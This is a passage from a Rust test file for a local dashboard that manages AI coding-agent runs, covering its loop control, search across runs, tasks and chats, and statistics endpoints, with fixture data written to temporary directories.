15876 .is_some_and(|e| e.contains("read-only file system")),
15877 "the phone is where a loop that died at 3am is visible: {view}"
15878 );
15879
15880 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
15883 assert_eq!(again.status, 200, "{}", again.body);
15884 assert!(
15885 again.json()["last_error"]
15886 .as_str()
15887 .is_none_or(|e| !e.contains("read-only file system")),
15888 "a fresh start does not keep showing why the last one died: {}",
15889 again.body
15890 );
15891 }
15892
15893 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
15905 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
15906 let home = TempDir::new().expect("temp home");
15907 let runs = home.path().join("runs");
15908 std::fs::create_dir_all(&runs).expect("runs dir");
15909 let ui = Ui::new(
15910 Queue::at(home.path().join("queue")),
15911 Questions::at(home.path().join("questions")),
15912 Talks::at(home.path().join("talks")),
15913 runs,
15914 home.path().to_path_buf(),
15915 PathBuf::from("/repo/magi"),
15916 )
15917 .with_worktrees_root(home.path().join("wt"))
15918 .with_launch(launch_knocking_on_the_way_out);
15919 let looping = ui.looping();
15920 let turns = ui.turns();
15921 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15922 .await
15923 .expect("bind loopback");
15924 let addr = listener.local_addr().expect("local addr");
15925 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
15926 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15927
15928 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
15929 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
15930
15931 let bound = std::sync::Mutex::new(None);
15946 hand_over(
15947 home.path(),
15948 &looping,
15949 &turns,
15950 &|_: &[String]| Duration::from_secs(5),
15951 served,
15952 |_| {
15953 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
15954 let attempt = loop {
15955 match std::net::TcpListener::bind(addr) {
15956 Ok(l) => {
15957 drop(l);
15958 break Ok(());
15959 }
15960 Err(e)
15961 if e.kind() == std::io::ErrorKind::AddrInUse
15962 && std::time::Instant::now() < deadline =>
15963 {
15964 std::thread::sleep(std::time::Duration::from_millis(10));
15965 }
15966 Err(e) => break Err(e.to_string()),
15967 }
15968 };
15969 *bound.lock().expect("bound") = Some(attempt);
15970 Ok(1)
15971 },
15972 )
15973 .await
15974 .expect("hand over");
15975
15976 assert_eq!(
15977 *PARK_HEARD.lock().expect("park heard"),
15978 Some(200),
15979 "the deck must answer while the loop is parking"
15980 );
15981 let attempt = bound
15982 .lock()
15983 .expect("bound")
15984 .take()
15985 .expect("the successor was started");
15986 assert!(
15987 attempt.is_ok(),
15988 "and the address must be free by the time it is: {attempt:?}"
15989 );
15990 }
15991
15992 #[tokio::test]
15993 async fn a_newer_daemon_status_file_still_renders() {
15994 let f = Fixture::start().await;
15995 std::fs::write(
15998 f.home.path().join("daemon.json"),
15999 serde_json::json!({
16000 "schema": 2,
16001 "updated_at": Timestamp::now().to_string(),
16002 "idle": true,
16003 "surprise": { "nested": [1, 2, 3] },
16004 })
16005 .to_string(),
16006 )
16007 .expect("write daemon.json");
16008
16009 let health = f.get("/api/health").await;
16010
16011 assert_eq!(health.status, 200);
16012 assert_eq!(health.json()["daemon"]["running"], true);
16013 }
16014
16015 #[tokio::test]
16016 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
16017 let f = Fixture::start().await;
16018 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16019 let broken = f.runs().join("20260902-140502-bad");
16020 std::fs::create_dir_all(&broken).expect("run dir");
16021 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16022
16023 let list = f.get("/api/runs").await;
16024 let detail = f.get("/api/runs/20260902-140502-bad").await;
16025
16026 assert_eq!(list.status, 200);
16027 let listed = list.json();
16028 let ids: Vec<&str> = listed
16029 .as_array()
16030 .expect("an array")
16031 .iter()
16032 .map(|r| r["id"].as_str().expect("an id"))
16033 .collect();
16034 assert_eq!(
16035 ids,
16036 vec!["20260902-140501-good"],
16037 "one unreadable run must not cost the operator the whole history"
16038 );
16039 assert_eq!(detail.status, 500);
16040 assert!(
16041 detail.json()["error"]
16042 .as_str()
16043 .is_some_and(|e| e.contains("run.json")),
16044 "the failure names the file to look at: {}",
16045 detail.body
16046 );
16047 let health = f.get("/api/health").await;
16051 assert_eq!(health.json()["runs_unreadable"], 1);
16052 }
16053
16054 #[tokio::test]
16056 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
16057 let f = Fixture::start().await;
16058 let runs = f.runs();
16059 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
16060 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
16061 let path = runs.join("20260902-140502-bbbb").join("run.json");
16064 let mut v: serde_json::Value =
16065 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
16066 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
16067 std::fs::write(&path, v.to_string()).unwrap();
16068 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
16069 std::fs::write(
16070 runs.join("20260902-140503-cccc").join("run.json"),
16071 "{ not json",
16072 )
16073 .unwrap();
16074
16075 let res = f.get("/api/search?scope=runs&q=quokka").await;
16076 assert_eq!(res.status, 200, "{}", res.body);
16077 let v = res.json();
16078 assert_eq!(v["total"], 1, "{v}");
16079 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
16080 assert_eq!(v["hits"][0]["field"], "text");
16081 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
16082 let parts = v["hits"][0]["snippet"].as_array().unwrap();
16083 assert!(
16084 parts
16085 .iter()
16086 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
16087 "{v}"
16088 );
16089 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
16090 assert_eq!(
16091 flat, "The Quokka leaks across threads",
16092 "whitespace is collapsed"
16093 );
16094
16095 let both = f
16097 .get("/api/search?scope=runs&q=MOBILE%20quokka")
16098 .await
16099 .json();
16100 assert_eq!(both["total"], 1, "{both}");
16101 let neither = f
16102 .get("/api/search?scope=runs&q=quokka%20zebra")
16103 .await
16104 .json();
16105 assert_eq!(neither["total"], 0, "{neither}");
16106 let stmt = f
16108 .get("/api/search?scope=runs&q=mobile%20first")
16109 .await
16110 .json();
16111 assert_eq!(stmt["total"], 2, "{stmt}");
16112 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
16113 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
16114 }
16115
16116 #[test]
16117 fn snippet_ignores_terms_longer_than_the_field() {
16118 let terms = ["ok".to_owned(), "elephant".to_owned()];
16119 let parts = snippet_of("ok", &terms);
16120 assert_eq!(
16121 parts,
16122 vec![SnippetPart {
16123 text: "ok".to_owned(),
16124 hit: true
16125 }]
16126 );
16127 }
16128
16129 #[test]
16130 fn snippet_marks_matches_longer_than_the_window() {
16131 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
16132 let hit_len = |parts: &[SnippetPart]| -> usize {
16133 parts
16134 .iter()
16135 .filter(|p| p.hit)
16136 .map(|p| p.text.chars().count())
16137 .sum()
16138 };
16139 let total =
16140 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16141
16142 let long = "a".repeat(120);
16143 let parts = snippet_of(&long, std::slice::from_ref(&long));
16144 assert!(hit_len(&parts) > 0, "{parts:?}");
16145 assert!(total(&parts) <= cap);
16146
16147 let ja = "あ".repeat(130);
16148 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
16149 assert!(hit_len(&parts) > 0, "{parts:?}");
16150 assert!(total(&parts) <= cap);
16151
16152 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16154 let term = format!("ab{}", "c".repeat(100));
16155 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16156 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16157 assert!(total(&parts) <= cap);
16158
16159 let text = format!("{}z", "a".repeat(119));
16161 let parts = snippet_of(&text, &["a".repeat(120)]);
16162 assert_eq!(hit_len(&parts), 0, "{parts:?}");
16163 }
16164
16165 #[tokio::test]
16166 async fn search_caps_hits_and_snippet_length() {
16167 let f = Fixture::start().await;
16168 let runs = f.runs();
16169 for n in 0..(SEARCH_MAX_HITS + 5) {
16170 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16171 }
16172 let v = f.get("/api/search?scope=runs&q=web").await.json();
16173 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16174 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16175 assert_eq!(v["truncated"], true);
16176 assert!(
16178 v["hits"]
16179 .as_array()
16180 .unwrap()
16181 .iter()
16182 .all(|h| h["run"]["status"] == "merged")
16183 );
16184
16185 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16186 let parts = snippet_of(&long, &["needle".to_owned()]);
16187 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16188 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16189 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16190 }
16191
16192 #[tokio::test]
16193 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16194 let f = Fixture::start().await;
16195 let queue = f.queue();
16196 let mut t = Task::new(
16197 "short title".to_owned(),
16198 "line one\nthe hidden Armadillo detail".to_owned(),
16199 PathBuf::from("/repo/magi"),
16200 Source::Agent {
16201 run: "r1".to_owned(),
16202 node: "chat".to_owned(),
16203 },
16204 );
16205 t.last_error = Some("disk full on /tmp".to_owned());
16206 queue.put(&mut t).expect("file the task");
16207
16208 for (q, want) in [
16209 ("armadillo", 1),
16210 ("disk%20FULL", 1),
16211 ("chat", 1),
16212 ("queued", 1),
16213 ("short%20nothing", 0),
16214 ] {
16215 let v = f
16216 .get(&format!("/api/search?scope=tasks&q={q}"))
16217 .await
16218 .json();
16219 assert_eq!(v["total"], want, "{q}: {v}");
16220 }
16221 for bad in [
16222 "/api/search?scope=tasks&q=",
16223 "/api/search?scope=tasks&q=%20",
16224 "/api/search?scope=chats&q=",
16225 "/api/search?scope=chats&q=%20",
16226 "/api/search?scope=nope&q=a",
16227 "/api/search?q=a",
16228 ] {
16229 assert_eq!(f.get(bad).await.status, 400, "{bad}");
16230 }
16231 }
16232
16233 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16235 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16236 .expect("seat value");
16237 let turns: Vec<serde_json::Value> = turns
16238 .iter()
16239 .map(|(who, body)| {
16240 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16241 })
16242 .collect();
16243 let doc = serde_json::json!({
16244 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16245 "status": status, "turns": turns,
16246 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16247 "seat": seat,
16248 });
16249 let dir = f.home.path().join("talks");
16250 std::fs::create_dir_all(&dir).expect("talks dir");
16251 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16252 }
16253
16254 #[tokio::test]
16255 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16256 let f = Fixture::start().await;
16257 write_talk(
16258 &f,
16259 "20260901-000001-aaaa",
16260 "open",
16261 &[
16262 (
16263 "operator",
16264 "\n Why does the Pangolin cache expire?\nsecond line",
16265 ),
16266 ("agent", "Because the TTL is thirty seconds."),
16267 ],
16268 );
16269 write_talk(
16270 &f,
16271 "20260901-000002-bbbb",
16272 "closed",
16273 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16274 );
16275 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16276
16277 let search = |q: &'static str| {
16278 let f = &f;
16279 async move {
16280 f.get(&format!("/api/search?scope=chats&q={q}"))
16281 .await
16282 .json()
16283 }
16284 };
16285
16286 let v = search("PANGOLIN").await;
16287 assert_eq!(v["scope"], "chats");
16288 assert_eq!(v["total"], 1, "{v}");
16289 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16290 assert_eq!(v["hits"][0]["field"], "title");
16291 assert_eq!(v["unreadable"], 1, "{v}");
16292 let marked: Vec<&str> = v["hits"][0]["snippet"]
16293 .as_array()
16294 .unwrap()
16295 .iter()
16296 .filter(|p| p["hit"] == true)
16297 .map(|p| p["text"].as_str().unwrap())
16298 .collect();
16299 assert_eq!(marked, ["Pangolin"]);
16300
16301 let v = search("zebra").await;
16303 assert_eq!(v["total"], 1, "{v}");
16304 assert_eq!(v["hits"][0]["field"], "agent");
16305 assert_eq!(search("pangolin%20thirty").await["total"], 1);
16307 assert_eq!(search("pangolin%20zebra").await["total"], 0);
16308 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16310 assert_eq!(search(q).await["total"], 0, "{q}");
16311 }
16312 assert_eq!(search("second").await["hits"][0]["field"], "operator");
16314 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16316
16317 let v = f.get("/api/search?scope=nope&q=a").await;
16318 assert_eq!(v.status, 400);
16319 assert!(
16320 v.body.contains("scope must be runs, tasks or chats"),
16321 "{}",
16322 v.body
16323 );
16324 }
16325
16326 #[test]
16327 fn a_question_card_links_a_task_id_to_the_task_page() {
16328 let start = APP_JS
16329 .find("function updateAskCard(")
16330 .expect("updateAskCard exists");
16331 let body = &APP_JS[start..];
16332 let body = &body[..body.find("\n}\n").expect("function end")];
16333 assert!(body.contains("question.run_is_task"));
16334 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16335 assert!(body.contains("`#/runs/${question.run}`"));
16336 assert!(body.contains("\"task\" : \"run\""));
16337 }
16338
16339 #[test]
16340 fn plain_text_message_surfaces_go_through_linkify() {
16341 assert!(APP_JS.contains("function linkify("));
16342 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16343 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16344 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16345 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16346 assert!(!APP_JS.contains("innerHTML = text"));
16347 }
16348
16349 #[test]
16350 fn implementation_rate_views_keep_independent_samples() {
16351 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16352 let a = stats::AgentStats {
16353 competitive_entered: competitive_n,
16354 competitive_wins: usize::from(competitive_n > 0),
16355 solo_entered: solo_n,
16356 solo_adopted: 2 * usize::from(solo_n > 0),
16357 ..Default::default()
16358 };
16359 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16360 for (key, n, numerator) in [
16361 ("competitive_win_rate", competitive_n, a.competitive_wins),
16362 ("solo_adoption_rate", solo_n, a.solo_adopted),
16363 ] {
16364 if n == 0 {
16365 assert!(v[key].is_null());
16366 } else {
16367 assert_eq!(v[key]["denominator"], n);
16368 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16369 }
16370 }
16371 }
16372 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16373 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16374 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16375 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16376 }
16377
16378 #[test]
16379 fn stats_bars_share_one_id_keyed_plan() {
16380 let start = APP_JS
16381 .find("function statsBarRows(")
16382 .expect("statsBarRows exists");
16383 let body = &APP_JS[start..];
16384 let body = &body[..body.find("\n}\n").expect("function end")];
16385 assert!(body.contains("statsBarPlan(rows)"));
16386 assert!(body.contains("statsAgentTone(row.agent)"));
16387 assert!(!body.contains("candTone(i)"));
16388 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16389 for root in [
16390 "stats-agents-bars",
16391 "stats-solo-bars",
16392 "stats-reviewers-bars",
16393 ] {
16394 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16395 }
16396 }
16397
16398 #[test]
16399 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16400 let start = APP_JS
16401 .find("function renderStatsReviewerScatter(")
16402 .expect("renderStatsReviewerScatter exists");
16403 let body = &APP_JS[start..];
16404 let body = &body[..body.find("\n}\n").expect("function end")];
16405 assert!(body.contains("statsScatterPlan(reviewers)"));
16406 assert!(body.contains("statsAgentTone(d.agent)"));
16407 assert!(APP_JS.contains("function statsScatterPlan("));
16408 assert!(
16409 APP_JS.contains("d.submitted < STATS_LOW_N")
16410 || APP_JS.contains("r.submitted < STATS_LOW_N")
16411 );
16412 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16413 assert!(APP_CSS.contains(".precision-scatter"));
16414 }
16415
16416 #[test]
16417 fn advisor_reflection_is_drawn_as_stacked_segments() {
16418 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16419 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16420 let html = include_str!("../assets/ui/index.html");
16421 assert!(html.contains("Approximate"));
16422 for label in ["reflected strongly", "faint", "no proposal"] {
16423 assert!(html.contains(label));
16424 }
16425 let css = include_str!("../assets/ui/app.css");
16426 for c in ["refl-strong", "refl-faint", "refl-absent"] {
16427 assert!(css.contains(&format!(".{c} {{")));
16428 }
16429 }
16430
16431 #[test]
16432 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16433 assert!(APP_JS.contains("function statsDailyPlan("));
16434 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16435 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16436 }
16437
16438 #[test]
16439 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16440 let start = APP_JS
16441 .find("function scheduleSearch(")
16442 .expect("scheduleSearch exists");
16443 let body = &APP_JS[start..];
16444 let body = &body[..body.find("\n}\n").expect("function end")];
16445 assert!(body.contains("s.seq += 1"));
16446 }
16447
16448 #[tokio::test]
16453 async fn stats_runs_unreadable_matches_health() {
16454 let f = Fixture::start().await;
16455 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16456 let broken = f.runs().join("20260902-140502-bad");
16457 std::fs::create_dir_all(&broken).expect("run dir");
16458 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16459
16460 let stats = f.get("/api/stats").await;
16461 let health = f.get("/api/health").await;
16462
16463 assert_eq!(stats.status, 200);
16464 assert_eq!(stats.json()["totals"]["runs"], 1);
16465 assert_eq!(stats.json()["runs_unreadable"], 1);
16466 assert_eq!(
16467 stats.json()["runs_unreadable"],
16468 health.json()["runs_unreadable"],
16469 "the dashboard and /api/health must never disagree about how many \
16470 runs could not be read"
16471 );
16472 }
16473
16474 #[tokio::test]
16475 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16476 let f = Fixture::start().await;
16477 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16478 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16479 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16480
16481 let totals = &f.get("/api/stats").await.json()["totals"];
16482 assert_eq!(totals["runs"], 3);
16483 assert_eq!(totals["merged"], 1);
16484 assert_eq!(totals["stalled"], 1);
16485 assert_eq!(totals["in_progress"], 1);
16486 assert_eq!(totals["blocked"], 0);
16489 assert_eq!(totals["ready"], 0);
16490 }
16491
16492 #[tokio::test]
16493 async fn stats_advisors_report_proposals_and_reflection() {
16494 use crate::advise::{Advice, AdvisorRecord, Reflection};
16495 use crate::verdict::Proposal;
16496
16497 let f = Fixture::start().await;
16498 let mut state = RunState::new(
16499 PathBuf::from("/repo/magi"),
16500 "main".to_owned(),
16501 "0123456789abcdef".to_owned(),
16502 "task".to_owned(),
16503 Config::default(),
16504 );
16505 state.id = "20260902-140501-a".to_owned();
16506 state.status = RunStatus::Merged;
16507 state.advice = Some(Advice {
16508 records: vec![
16509 AdvisorRecord {
16510 seat: "advisor-1".to_owned(),
16511 agent: "alpha".to_owned(),
16512 proposal: Some(Proposal {
16513 approach: "do it".to_owned(),
16514 key_tradeoff: "speed over memory".to_owned(),
16515 risks: Vec::new(),
16516 touches: Vec::new(),
16517 why_not_naive: "breaks under load".to_owned(),
16518 }),
16519 error: None,
16520 duration_ms: 0,
16521 reflection: Reflection::Strong,
16522 },
16523 AdvisorRecord {
16524 seat: "advisor-2".to_owned(),
16525 agent: "alpha".to_owned(),
16526 proposal: None,
16527 error: Some("timed out".to_owned()),
16528 duration_ms: 0,
16529 reflection: Reflection::Absent,
16530 },
16531 ],
16532 synthesis: Some("blended brief".to_owned()),
16533 });
16534 let dir = f.runs().join(&state.id);
16535 std::fs::create_dir_all(&dir).expect("run dir");
16536 std::fs::write(
16537 dir.join("run.json"),
16538 serde_json::to_string_pretty(&state).expect("serialize run"),
16539 )
16540 .expect("write run.json");
16541
16542 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
16544 let alpha = advisors
16545 .as_array()
16546 .expect("an array")
16547 .iter()
16548 .find(|a| a["agent"] == "alpha")
16549 .expect("alpha row");
16550 assert_eq!(alpha["seated"], 2);
16551 assert_eq!(alpha["proposed"], 1);
16552 assert_eq!(alpha["absent"], 1);
16553 assert_eq!(alpha["strong"], 1);
16554 assert_eq!(alpha["faint"], 0);
16555 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
16556 }
16557
16558 #[tokio::test]
16559 async fn stats_hides_agents_outside_the_roster_unless_all() {
16560 use crate::run::Candidate;
16561 let repo = TempDir::new().expect("repo dir");
16562 std::fs::write(
16563 repo.path().join("magi.toml"),
16564 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
16565 )
16566 .expect("magi.toml");
16567 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
16568 let mut state = RunState::new(
16569 PathBuf::from("/repo/magi"),
16570 "main".to_owned(),
16571 "0123456789abcdef".to_owned(),
16572 "task".to_owned(),
16573 Config::default(),
16574 );
16575 state.id = "20260902-140501-a".to_owned();
16576 state.status = RunStatus::Merged;
16577 for (label, agent) in [('A', "keep"), ('B', "retired")] {
16578 let mut c: Candidate = serde_json::from_value(serde_json::json!({
16579 "index": 0, "label": label.to_string(), "agent": agent,
16580 "branch": "b", "worktree": "/w",
16581 }))
16582 .expect("candidate");
16583 c.label = label;
16584 state.candidates.push(c);
16585 }
16586 let dir = f.runs().join(&state.id);
16587 std::fs::create_dir_all(&dir).expect("run dir");
16588 std::fs::write(
16589 dir.join("run.json"),
16590 serde_json::to_string_pretty(&state).expect("serialize run"),
16591 )
16592 .expect("write run.json");
16593
16594 let agents_of = |v: &serde_json::Value| -> Vec<String> {
16595 v["agents"]
16596 .as_array()
16597 .expect("array")
16598 .iter()
16599 .map(|a| a["agent"].as_str().unwrap().to_owned())
16600 .collect()
16601 };
16602 let hidden = f.get("/api/stats").await.json();
16603 assert_eq!(agents_of(&hidden), ["keep"]);
16604 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
16605 assert_eq!(hidden["totals"]["runs"], 1);
16606
16607 let all = f.get("/api/stats?all=true").await.json();
16608 assert_eq!(agents_of(&all).len(), 2);
16609 assert_eq!(all["retired_hidden"], serde_json::json!([]));
16610 let keep_agent = all["agents"]
16612 .as_array()
16613 .unwrap()
16614 .iter()
16615 .find(|a| a["agent"] == "keep")
16616 .unwrap();
16617 assert_eq!(keep_agent["competitive_entered"], 1);
16618 assert_eq!(keep_agent["competitive_wins"], 0);
16619 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
16620 assert_eq!(keep_agent["solo_entered"], 0);
16621 assert_eq!(keep_agent["solo_adopted"], 0);
16622 assert!(keep_agent["solo_adoption_rate"].is_null());
16623 }
16624
16625 #[tokio::test]
16626 async fn stats_release_bumps_split_clean_from_attention() {
16627 use crate::run::ReleaseBump;
16628
16629 let f = Fixture::start().await;
16630
16631 let mut clean = RunState::new(
16632 PathBuf::from("/repo/magi"),
16633 "main".to_owned(),
16634 "0123456789abcdef".to_owned(),
16635 "task".to_owned(),
16636 Config::default(),
16637 );
16638 clean.id = "20260902-140501-a".to_owned();
16639 clean.status = RunStatus::Merged;
16640 clean.release_bump = Some(ReleaseBump {
16641 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16642 version: Some("1.0.0".to_owned()),
16643 automerge_enabled: true,
16644 merged_directly: false,
16645 local: false,
16646 release: None,
16647 problem: None,
16648 action_required: None,
16649 });
16650
16651 let mut blocked = RunState::new(
16652 PathBuf::from("/repo/magi"),
16653 "main".to_owned(),
16654 "0123456789abcdef".to_owned(),
16655 "task".to_owned(),
16656 Config::default(),
16657 );
16658 blocked.id = "20260902-140502-b".to_owned();
16659 blocked.status = RunStatus::Merged;
16660 blocked.release_bump = Some(ReleaseBump {
16661 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16662 version: Some("1.0.1".to_owned()),
16663 automerge_enabled: false,
16664 merged_directly: false,
16665 local: false,
16666 release: None,
16667 problem: Some("checks red".to_owned()),
16668 action_required: Some("look at the PR".to_owned()),
16669 });
16670
16671 for state in [&clean, &blocked] {
16672 let dir = f.runs().join(&state.id);
16673 std::fs::create_dir_all(&dir).expect("run dir");
16674 std::fs::write(
16675 dir.join("run.json"),
16676 serde_json::to_string_pretty(state).expect("serialize run"),
16677 )
16678 .expect("write run.json");
16679 }
16680
16681 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16682 assert_eq!(bumps["merged"], 2);
16683 assert_eq!(bumps["recorded"], 2);
16684 assert_eq!(bumps["pr_opened"], 2);
16685 assert_eq!(bumps["automerge_enabled"], 1);
16686 assert_eq!(bumps["needs_attention"], 1);
16687 assert_eq!(bumps["clean"], 1);
16688 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16689 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16690 }
16691
16692 #[tokio::test]
16693 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16694 let f = Fixture::start().await;
16695 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16696
16697 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16698 assert_eq!(bumps["merged"], 1);
16699 assert_eq!(bumps["recorded"], 0);
16700 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16703 assert_eq!(bumps["automerge_rate"], Value::Null);
16706 assert_eq!(bumps["attention_rate"], Value::Null);
16707 }
16708
16709 #[tokio::test]
16710 async fn stats_queue_counts_come_from_the_live_queue() {
16711 let f = Fixture::start().await;
16712 let q = f.queue();
16713 let mut queued = Task::new(
16714 "queued task".to_owned(),
16715 "do it".to_owned(),
16716 PathBuf::from("/repo"),
16717 Source::Human,
16718 );
16719 q.put(&mut queued).expect("put queued");
16720 let mut held = Task::new(
16721 "held task".to_owned(),
16722 "do it later".to_owned(),
16723 PathBuf::from("/repo"),
16724 Source::Human,
16725 );
16726 held.hold_machine(Some("out of attempts".to_owned()));
16727 q.put(&mut held).expect("put held");
16728
16729 let queue = f.get("/api/stats").await.json()["queue"].clone();
16730 assert_eq!(queue["queued"], 1);
16731 assert_eq!(queue["held"], 1);
16732 assert_eq!(queue["running"], 0);
16733 assert_eq!(queue["done"], 0);
16734 assert_eq!(queue["failed"], 0);
16735 assert_eq!(queue["blocked"], 0);
16736 }
16737
16738 #[tokio::test]
16739 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16740 let f = Fixture::start().await;
16741 let stats = f.get("/api/stats").await;
16742 assert_eq!(stats.status, 200);
16743 assert_eq!(stats.json()["totals"]["runs"], 0);
16744 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16745 assert_eq!(stats.json()["runs_unreadable"], 0);
16746 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16747 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16748 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16749 assert_eq!(stats.json()["repo"], Value::Null);
16750 }
16751
16752 #[tokio::test]
16753 async fn stats_lists_every_repository_with_runs_recorded() {
16754 let f = Fixture::start().await;
16755 write_run_repo(
16756 &f.runs(),
16757 "20260902-140501-a",
16758 RunStatus::Merged,
16759 "/repos/a",
16760 );
16761 write_run_repo(
16762 &f.runs(),
16763 "20260902-140502-b",
16764 RunStatus::Merged,
16765 "/repos/a",
16766 );
16767 write_run_repo(
16768 &f.runs(),
16769 "20260902-140503-c",
16770 RunStatus::Blocked,
16771 "/repos/b",
16772 );
16773
16774 let stats = f.get("/api/stats").await;
16775 assert_eq!(stats.status, 200);
16776 assert_eq!(stats.json()["totals"]["runs"], 3);
16778 assert_eq!(stats.json()["repo"], Value::Null);
16779
16780 let repos = stats.json()["repos"].clone();
16781 let repos = repos.as_array().unwrap();
16782 assert_eq!(repos.len(), 2);
16783 assert_eq!(repos[0]["repo"], "/repos/a");
16785 assert_eq!(repos[0]["name"], "a");
16786 assert_eq!(repos[0]["runs"], 2);
16787 assert_eq!(repos[1]["repo"], "/repos/b");
16788 assert_eq!(repos[1]["runs"], 1);
16789 }
16790
16791 #[tokio::test]
16792 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16793 let f = Fixture::start().await;
16794 write_run_repo(
16795 &f.runs(),
16796 "20260902-140501-a",
16797 RunStatus::Merged,
16798 "/repos/a",
16799 );
16800 write_run_repo(
16801 &f.runs(),
16802 "20260902-140502-b",
16803 RunStatus::Blocked,
16804 "/repos/b",
16805 );
16806
